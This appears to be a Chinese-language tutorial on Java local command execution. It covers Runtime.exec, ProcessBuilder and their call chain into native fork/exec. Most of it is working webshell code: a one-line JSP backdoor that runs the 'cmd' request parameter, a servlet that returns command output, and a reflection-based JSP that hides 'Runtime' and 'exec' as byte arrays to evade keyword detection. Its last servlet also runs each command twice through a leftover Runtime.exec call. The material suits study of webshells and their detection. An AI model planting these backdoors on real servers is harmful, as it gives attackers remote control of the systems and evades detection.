# Java 本地命令执行
Java 原生提供了对本地系统命令执行的支持,黑客通常会 RCE利用漏洞
或者 WebShell
来执行系统终端命令控制服务器的目的。
对于开发者来说执行本地命令来实现某些程序功能 (如:ps 进程管理、top 内存管理等) 是一个正常的需求,而对于黑客来说 本地命令执行
是一种非常有利的入侵手段。
# Runtime 命令执行
在 Java 中我们通常会使用 java.lang.Runtime
类的 exec
方法来执行本地系统命令。
# Runtime 命令执行测试
runtime-exec2.jsp 执行 cmd 命令示例:**
<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
- 本地 nc 监听 9000 端口:
nc -vv -l 9000
- 使用浏览器访问:http://localhost:8080/runtime-exec.jsp?cmd=curl localhost:9000。
我们可以在 nc 中看到已经成功的接收到了 java 执行了 curl
命令的请求了,如此仅需要一行代码一个最简单的本地命令执行后门也就写好了。
上面的代码虽然足够简单但是缺少了回显,稍微改下即可实现命令执行的回显了。
runtime-exec.jsp 执行 cmd 命令示例:
CommandExecutionServlet.java
package org.chenluo.hijkuhki;
import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
@WebServlet("/exec")
public class CommandExecutionServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String cmd = request.getParameter("cmd");
if (cmd == null || cmd.isEmpty()) {
response.getWriter().write("No command provided");
return;
}
try {
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = in.read(buffer)) != -1) {
baos.write(buffer, 0, bytesRead);
}
request.setAttribute("output", new String(baos.toByteArray()));
request.getRequestDispatcher("/result.jsp").forward(request, response);
} catch (IOException e) {
response.getWriter().write("Error executing command: " + e.getMessage());
}
}
}
代码说明:
- @WebServlet("/exec"):注解定义了这个 Servlet 的 URL 映射。当用户访问
/exec
路径时,这个 Servlet 会被触发。 - extends HttpServlet:表明这个类继承了
HttpServlet
,使其成为一个 Servlet。 - doGet:处理 HTTP GET 请求的方法。
- request.getParameter(“cmd”):从请求中获取名为
cmd
的参数,即要执行的命令。 - 参数验证:检查
cmd
是否为空。如果为空,返回错误消息并结束请求。 - Runtime.getRuntime().exec(cmd):使用
Runtime
类的exec
方法执行系统命令。这个方法返回一个Process
对象,表示正在执行的进程。 - InputStream in = process.getInputStream():获取进程的输入流,以读取命令执行的输出。
- ByteArrayOutputStream baos = new ByteArrayOutputStream():创建一个字节数组输出流,用于存储命令的输出。
- while 循环:读取命令输出,将其写入
ByteArrayOutputStream
。 - request.setAttribute(“output”, new String(baos.toByteArray())):将命令的输出结果作为请求属性传递给 JSP 页面。
- request.getRequestDispatcher("/result.jsp").forward(request, response):将请求转发到
result.jsp
页面,以显示命令的执行结果。 - catch 块:捕获和处理
IOException
,如果命令执行出错,返回错误消息。
index.jsp:
<%--
Created by IntelliJ IDEA.
User: chenluo
Date: 2024/5/30
Time: 09:45
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>My JSP Page</title>
</head>
<body>
<h2>Hello, JSP!</h2>
<form action="exec" method="get">
<input type="text" name="cmd" placeholder="Enter command">
<button type="submit">Execute</button>
</form>
</body>
</html>
result.jsp:
<%--
Created by IntelliJ IDEA.
User: chenluo
Date: 2024/5/30
Time: 11:52
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<!DOCTYPE html>
<html>
<head>
<title>Command Execution Result</title>
</head>
<body>
<h1>Command Execution Result</h1>
<pre><%= request.getAttribute("output") %></pre>
</body>
</html>
目录结构如图所示:
命令执行效果如下:
# Runtime 命令执行调用链
Runtime.exec(xxx)
调用链如下:
java.lang.UNIXProcess.<init>(UNIXProcess.java:247) | |
java.lang.ProcessImpl.start(ProcessImpl.java:134) | |
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029) | |
java.lang.Runtime.exec(Runtime.java:620) | |
java.lang.Runtime.exec(Runtime.java:450) | |
java.lang.Runtime.exec(Runtime.java:347) | |
org.apache.jsp.runtime_002dexec2_jsp._jspService(runtime_002dexec2_jsp.java:118) |
通过观察整个调用链我们可以清楚的看到 exec
方法并不是命令执行的最终点,执行逻辑大致是:
-
Runtime.exec(xxx)
-
java.lang.ProcessBuilder.start()
-
Process p = new ProcessImpl (toCString(cmdarray[0]), argBlock, args.length, envBlock, envc[0], toCString(dir), std_fds, forceNullOutputStream, redirectErrorStream);
-
ProcessImpl
构造方法中调用了forkAndExec(xxx)
native 方法。 -
forkAndExec
调用操作系统级别fork
->exec
(Unix)/CreateProcess
(Windows) 执行命令并返回fork
/CreateProcess
的PID
。
有了以上的调用链分析我们就可以深刻的理解到 Java 本地命令执行的深入逻辑了,切记 Runtime
和 ProcessBuilder
并不是程序的最终执行点!
# 反射 Runtime 命令执行
如果我们不希望在代码中出现和 Runtime
相关的关键字,我们可以全部用反射代替。
reflection-cmd.jsp 示例代码:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>
<%
String str = request.getParameter("str");
// 定义"java.lang.Runtime"字符串变量
String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
// 反射java.lang.Runtime类获取Class对象
Class<?> c = Class.forName(rt);
// 反射获取Runtime类的getRuntime方法
Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
// 反射获取Runtime类的exec方法
Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
// 反射调用Runtime.getRuntime().exec(xxx)方法
Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});
// 反射获取Process类的getInputStream方法
Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);
// 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";
// 输出命令执行结果
out.println(result);
%>
命令参数是 str
,如: reflection-cmd.jsp?str=pwd
,程序执行结果同上。
现在需要在 configure—>vm options 添加如下配置运行:
--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.ProcessImpl=ALL-UNNAMED |
在 Java 9 及更高版本中,Java 平台模块系统(JPMS)引入了一些新的封装规则,以提高模块化和安全性。这些规则限制了对内部 API 的访问,以防止未授权的反射访问。您遇到的 java.lang.reflect.InaccessibleObjectException
错误就是由于这些封装规则导致的。
通过反射访问 ProcessImpl
类的 getInputStream
方法,而这个类和方法在 Java 9 之后变得不可直接通过反射访问。要解决这个问题,显式地打开这些模块和包,以允许反射访问。
以下是对这些修改的详细解释
反射和模块系统
Java 平台模块系统引入后, java.base
模块(以及其他模块)默认情况下对大多数反射访问进行了封装。为了通过反射访问这些模块中的类和方法,必须明确地通过 --add-opens
选项打开这些模块。
--add-opens
选项
--add-opens
选项告诉 JVM 允许反射访问特定模块中的包。这是必要的,因为:
- 封装:Java 9 之后,
java.base
模块中的许多类和方法都被更严格地封装起来,禁止反射访问。 - 安全性:更严格的封装提高了 Java 应用程序的安全性,防止了未授权的代码反射访问敏感的 API。
- 向后兼容性:为了解决现有代码的兼容性问题,可以使用
--add-opens
选项。
添加 --add-opens
选项的步骤
打开需要的模块和包:通过 --add-opens java.base/java.lang=ALL-UNNAMED
,您允许未命名模块(即您的代码)反射访问 java.lang
包中的类和方法。同样,通过 --add-opens java.base/java.lang.ProcessImpl=ALL-UNNAMED
,您允许未命名模块反射访问 ProcessImpl
类中的方法。
# ProcessBuilder 命令执行
学习 Runtime
命令执行的时候我们讲到其最终 exec
方法会调用 ProcessBuilder
来执行本地命令,那么我们只需跟踪下 Runtime 的 exec 方法就可以知道如何使用 ProcessBuilder
来执行系统命令了。
ProcessBuilder 命令执行测试
package org.chenluo.hijkuhki; | |
import jakarta.servlet.ServletException; | |
import jakarta.servlet.annotation.WebServlet; | |
import jakarta.servlet.http.HttpServlet; | |
import jakarta.servlet.http.HttpServletRequest; | |
import jakarta.servlet.http.HttpServletResponse; | |
import java.io.ByteArrayOutputStream; | |
import java.io.IOException; | |
import java.io.InputStream; | |
import java.util.StringTokenizer; | |
@WebServlet("/exec") | |
public class CommandExecutionServlet extends HttpServlet { | |
@Override | |
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { | |
String cmd = request.getParameter("cmd"); | |
if (cmd == null || cmd.isEmpty()) { | |
response.getWriter().write("No command provided"); | |
return; | |
} | |
try { | |
StringTokenizer st = new StringTokenizer(cmd); | |
String[] cmdarray = new String[st.countTokens()]; | |
for (int i = 0; st.hasMoreTokens(); i++) | |
cmdarray[i] = st.nextToken(); | |
// 直接使用 ProcessBuilder 执行 | |
Process pb = new ProcessBuilder(cmdarray) | |
.directory(null) | |
.start(); | |
Process process = Runtime.getRuntime().exec(cmd); | |
InputStream in = pb.getInputStream(); | |
ByteArrayOutputStream baos = new ByteArrayOutputStream(); | |
byte[] buffer = new byte[1024]; | |
int bytesRead; | |
while ((bytesRead = in.read(buffer)) != -1) { | |
baos.write(buffer, 0, bytesRead); | |
} | |
request.setAttribute("output", new String(baos.toByteArray())); | |
request.getRequestDispatcher("/result.jsp").forward(request, response); | |
} catch (IOException e) { | |
response.getWriter().write("Error executing command: " + e.getMessage()); | |
} | |
} | |
} |
执行一个稍微复杂点的命令: ls -la
, 浏览器请求:http://localhost:8080/hijkuhki_war_exploded/exec?cmd=ls+-la